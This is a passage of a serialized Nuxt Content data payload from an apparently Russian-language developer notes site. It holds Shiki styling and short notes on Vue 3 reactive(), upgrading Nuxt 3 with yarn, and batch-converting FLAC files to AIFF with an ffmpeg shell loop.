pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":101,"searchDepth":129,"depth":129,"links":1353},[],"2022-08-20","Как использовать reactive() в Vue 3 Composition API для создания стейта аналогично data() в Options API",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":1064,"description":1355},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[1097,1361,1362],"composition-api","reactive","AVpr__V_hvj6bFD9-D94muDEH5YF4HZb7akQwYPFqd8",{"id":1365,"title":1366,"author":1065,"body":1367,"date":1404,"description":1405,"extension":634,"image":635,"meta":1406,"navigation":138,"path":1407,"seo":1408,"stem":1409,"tags":1410,"__hash__":1413},"content_ru\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","Как обновить Nuxt 3 проект",{"type":8,"value":1368,"toc":1402},[1369,1372,1390,1393,1399],[11,1370,1366],{"id":1371},"как-обновить-nuxt-3-проект",[93,1373,1377],{"className":1374,"code":1375,"language":1376,"meta":101,"style":101},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[36,1378,1379],{"__ignoreMap":101},[120,1380,1381,1384,1387],{"class":122,"line":123},[120,1382,1383],{"class":1148},"yarn",[120,1385,1386],{"class":1127}," nuxi",[120,1388,1389],{"class":1127}," upgrade\n",[21,1391,1392],{},"Пример вывода:",[93,1394,1397],{"className":1395,"code":1396,"language":98},[96],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[36,1398,1396],{"__ignoreMap":101},[618,1400,1401],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":101,"searchDepth":129,"depth":129,"links":1403},[],"2022-08-15","Простая команда для обновления Nuxt 3 до последней версии",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":1366,"description":1405},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1411,1097,1412],"nuxt","cli","_HR0DYn8dvm9dDN6C0NI3IBdhwQBiKDVaxiB0n_y3VA",{"id":1415,"title":1416,"author":1065,"body":1417,"date":1529,"description":1530,"extension":634,"image":635,"meta":1531,"navigation":138,"path":1532,"seo":1533,"stem":1534,"tags":1535,"__hash__":1539},"content_ru\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Пакетная конвертация FLAC в AIFF через ffmpeg",{"type":8,"value":1418,"toc":1527},[1419,1422,1425,1441,1451,1524],[11,1420,1416],{"id":1421},"пакетная-конвертация-flac-в-aiff-через-ffmpeg",[21,1423,1424],{},"Нужен установленный ffmpeg. Для macOS:",[93,1426,1428],{"className":1374,"code":1427,"language":1376,"meta":101,"style":101},"brew install ffmpeg\n",[36,1429,1430],{"__ignoreMap":101},[120,1431,1432,1435,1438],{"class":122,"line":123},[120,1433,1434],{"class":1148},"brew",[120,1436,1437],{"class":1127}," install",[120,1439,1440],{"class":1127}," ffmpeg\n",[21,1442,1443,1444,1447,1448,170],{},"Эта команда сконвертирует все ",[36,1445,1446],{},"*.flac"," файлы в ",[36,1449,1450],{},"*.aiff",[93,1452,1454],{"className":1374,"code":1453,"language":1376,"meta":101,"style":101},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[36,1455,1456],{"__ignoreMap":101},[120,1457,1458,1461,1464,1467,1470,1473,1476,1479,1482,1485,1488,1491,1494,1497,1500,1503,1506,1509,1512,1514,1516,1519,1521],{"class":122,"line":123},[120,1459,1460],{"class":1117},"for",[120,1462,1463],{"class":1104}," i ",[120,1465,1466],{"class":1117},"in",[120,1468,1469],{"class":1127}," *.flac",[120,1471,1472],{"class":1104},"; ",[120,1474,1475],{"class":1117},"do",[120,1477,1478],{"class":1148}," ffmpeg",[120,1480,1481],{"class":1160}," -i",[120,1483,1484],{"class":1127}," \"",[120,1486,1487],{"class":1104},"$i",[120,1489,1490],{"class":1127},"\"",[120,1492,1493],{"class":1160}," -write_id3v2",[120,1495,1496],{"class":1160}," 1",[120,1498,1499],{"class":1160}," -c:v",[120,1501,1502],{"class":1127}," copy",[120,1504,1505],{"class":1127}," \"${",[120,1507,1508],{"class":1104},"i",[120,1510,1511],{"class":1117},"%",[120,1513,190],{"class":1127},[120,1515,1229],{"class":1117},[120,1517,1518],{"class":1127},"}.aiff\"",[120,1520,1472],{"class":1104},[120,1522,1523],{"class":1117},"done\n",[618,1525,1526],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":101,"searchDepth":129,"depth":129,"links":1528},[],"2022-08-10","Однострочник для конвертации всех FLAC файлов в AIFF через ffmpeg на macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1416,"description":1530},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1536,1537,1412,1538],"ffmpeg","audio","macos","eSrfOKrhJhEudfeuEd5ti516NYPB5St5RfesDpohskc",[1541],{"id":4,"title":5,"author":6,"body":1542,"date":632,"description":633,"extension":634,"image":635,"meta":1953,"navigation":138,"path":637,"seo":1954,"stem":639,"tags":1955,"__hash__":645},{"type":8,"value":1543,"toc":1942},[1544,1546,1548,1552,1562,1564,1579,1581,1585,1587,1592,1596,1598,1622,1624,1626,1628,1632,1640,1646,1648,1652,1664,1666,1668,1672,1912,1916,1922,1924,1926,1930,1940],[11,1545,14],{"id":13},[16,1547,19],{"id":18},[21,1549,1550,27],{},[24,1551,26],{},[21,1553,30,1554,34,1556,39,1558,43,1560,47],{},[24,1555,33],{},[36,1557,38],{},[36,1559,42],{},[36,1561,46],{},[16,1563,51],{"id":50},[21,1565,1566,57,1568,1571,1573,71,1575,1577,77],{},[24,1567,56],{},[59,1569,64],{"href":61,"rel":1570},[63],[66,1572],{},[24,1574,70],{},[66,1576],{},[24,1578,76],{},[16,1580,81],{"id":80},[21,1582,84,1583,88],{},[36,1584,87],{},[21,1586,91],{},[93,1588,1590],{"className":1589,"code":97,"language":98},[96],[36,1591,97],{"__ignoreMap":101},[21,1593,104,1594,108],{},[36,1595,107],{},[21,1597,111],{},[93,1599,1600],{"className":114,"code":115,"language":116,"meta":101,"style":101},[36,1601,1602,1606,1610,1614,1618],{"__ignoreMap":101},[120,1603,1604],{"class":122,"line":123},[120,1605,126],{},[120,1607,1608],{"class":122,"line":129},[120,1609,132],{},[120,1611,1612],{"class":122,"line":135},[120,1613,139],{"emptyLinePlaceholder":138},[120,1615,1616],{"class":122,"line":142},[120,1617,145],{},[120,1619,1620],{"class":122,"line":148},[120,1621,151],{},[21,1623,154],{},[16,1625,158],{"id":157},[160,1627,163],{"id":162},[21,1629,166,1630,170],{},[36,1631,169],{},[93,1633,1634],{"className":114,"code":173,"language":116,"meta":101,"style":101},[36,1635,1636],{"__ignoreMap":101},[120,1637,1638],{"class":122,"line":123},[120,1639,173],{},[21,1641,182,1642,186,1644,190],{},[36,1643,185],{},[24,1645,189],{},[160,1647,194],{"id":193},[21,1649,197,1650,201],{},[36,1651,200],{},[93,1653,1654],{"className":114,"code":204,"language":116,"meta":101,"style":101},[36,1655,1656,1660],{"__ignoreMap":101},[120,1657,1658],{"class":122,"line":123},[120,1659,211],{},[120,1661,1662],{"class":122,"line":129},[120,1663,216],{},[21,1665,219],{},[160,1667,223],{"id":222},[21,1669,226,1670,230],{},[36,1671,229],{},[93,1673,1674],{"className":233,"code":234,"language":235,"meta":101,"style":101},[36,1675,1676,1680,1684,1688,1692,1696,1700,1704,1708,1712,1716,1720,1724,1728,1732,1736,1740,1744,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800,1804,1808,1812,1816,1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884,1888,1892,1896,1900,1904,1908],{"__ignoreMap":101},[120,1677,1678],{"class":122,"line":123},[120,1679,242],{},[120,1681,1682],{"class":122,"line":129},[120,1683,247],{},[120,1685,1686],{"class":122,"line":135},[120,1687,252],{},[120,1689,1690],{"class":122,"line":142},[120,1691,139],{"emptyLinePlaceholder":138},[120,1693,1694],{"class":122,"line":148},[120,1695,261],{},[120,1697,1698],{"class":122,"line":264},[120,1699,267],{},[120,1701,1702],{"class":122,"line":270},[120,1703,273],{},[120,1705,1706],{"class":122,"line":276},[120,1707,279],{},[120,1709,1710],{"class":122,"line":282},[120,1711,139],{"emptyLinePlaceholder":138},[120,1713,1714],{"class":122,"line":287},[120,1715,290],{},[120,1717,1718],{"class":122,"line":293},[120,1719,296],{},[120,1721,1722],{"class":122,"line":299},[120,1723,302],{},[120,1725,1726],{"class":122,"line":305},[120,1727,139],{"emptyLinePlaceholder":138},[120,1729,1730],{"class":122,"line":310},[120,1731,139],{"emptyLinePlaceholder":138},[120,1733,1734],{"class":122,"line":315},[120,1735,318],{},[120,1737,1738],{"class":122,"line":321},[120,1739,324],{},[120,1741,1742],{"class":122,"line":327},[120,1743,330],{},[120,1745,1746],{"class":122,"line":333},[120,1747,336],{},[120,1749,1750],{"class":122,"line":339},[120,1751,342],{},[120,1753,1754],{"class":122,"line":345},[120,1755,139],{"emptyLinePlaceholder":138},[120,1757,1758],{"class":122,"line":350},[120,1759,139],{"emptyLinePlaceholder":138},[120,1761,1762],{"class":122,"line":355},[120,1763,358],{},[120,1765,1766],{"class":122,"line":361},[120,1767,364],{},[120,1769,1770],{"class":122,"line":367},[120,1771,370],{},[120,1773,1774],{"class":122,"line":373},[120,1775,376],{},[120,1777,1778],{"class":122,"line":379},[120,1779,382],{},[120,1781,1782],{"class":122,"line":385},[120,1783,388],{},[120,1785,1786],{"class":122,"line":391},[120,1787,394],{},[120,1789,1790],{"class":122,"line":397},[120,1791,400],{},[120,1793,1794],{"class":122,"line":403},[120,1795,139],{"emptyLinePlaceholder":138},[120,1797,1798],{"class":122,"line":408},[120,1799,139],{"emptyLinePlaceholder":138},[120,1801,1802],{"class":122,"line":413},[120,1803,416],{},[120,1805,1806],{"class":122,"line":419},[120,1807,422],{},[120,1809,1810],{"class":122,"line":425},[120,1811,428],{},[120,1813,1814],{"class":122,"line":431},[120,1815,382],{},[120,1817,1818],{"class":122,"line":436},[120,1819,439],{},[120,1821,1822],{"class":122,"line":442},[120,1823,445],{},[120,1825,1826],{"class":122,"line":448},[120,1827,139],{"emptyLinePlaceholder":138},[120,1829,1830],{"class":122,"line":453},[120,1831,139],{"emptyLinePlaceholder":138},[120,1833,1834],{"class":122,"line":458},[120,1835,461],{},[120,1837,1838],{"class":122,"line":464},[120,1839,467],{},[120,1841,1842],{"class":122,"line":470},[120,1843,473],{},[120,1845,1846],{"class":122,"line":476},[120,1847,479],{},[120,1849,1850],{"class":122,"line":482},[120,1851,485],{},[120,1853,1854],{"class":122,"line":488},[120,1855,491],{},[120,1857,1858],{"class":122,"line":494},[120,1859,497],{},[120,1861,1862],{"class":122,"line":500},[120,1863,503],{},[120,1865,1866],{"class":122,"line":506},[120,1867,509],{},[120,1869,1870],{"class":122,"line":512},[120,1871,515],{},[120,1873,1874],{"class":122,"line":518},[120,1875,139],{"emptyLinePlaceholder":138},[120,1877,1878],{"class":122,"line":523},[120,1879,139],{"emptyLinePlaceholder":138},[120,1881,1882],{"class":122,"line":528},[120,1883,531],{},[120,1885,1886],{"class":122,"line":534},[120,1887,537],{},[120,1889,1890],{"class":122,"line":540},[120,1891,543],{},[120,1893,1894],{"class":122,"line":546},[120,1895,549],{},[120,1897,1898],{"class":122,"line":552},[120,1899,139],{"emptyLinePlaceholder":138},[120,1901,1902],{"class":122,"line":557},[120,1903,139],{"emptyLinePlaceholder":138},[120,1905,1906],{"class":122,"line":562},[120,1907,565],{},[120,1909,1910],{"class":122,"line":568},[120,1911,571],{},[21,1913,574,1914],{},[36,1915,577],{},[21,1917,580,1918,584,1920,588],{},[36,1919,583],{},[36,1921,587],{},[16,1923,592],{"id":591},[21,1925,595],{},[21,1927,1928],{},[24,1929,600],{},[602,1931,1932,1934,1936],{},[605,1933,607],{},[605,1935,610],{},[605,1937,613,1938],{},[36,1939,616],{},[618,1941,620],{},{"title":101,"searchDepth":129,"depth":129,"links":1943},[1944,1945,1946,1947,1952],{"id":18,"depth":129,"text":19},{"id":50,"depth":129,"text":51},{"id":80,"depth":129,"text":81},{"id":157,"depth":129,"text":158,"children":1948},[1949,1950,1951],{"id":162,"depth":135,"text":163},{"id":193,"depth":135,"text":194},{"id":222,"depth":135,"text":223},{"id":591,"depth":129,"text":592},{},{"title":5,"description":633},[641,642,643,644],1776084468370]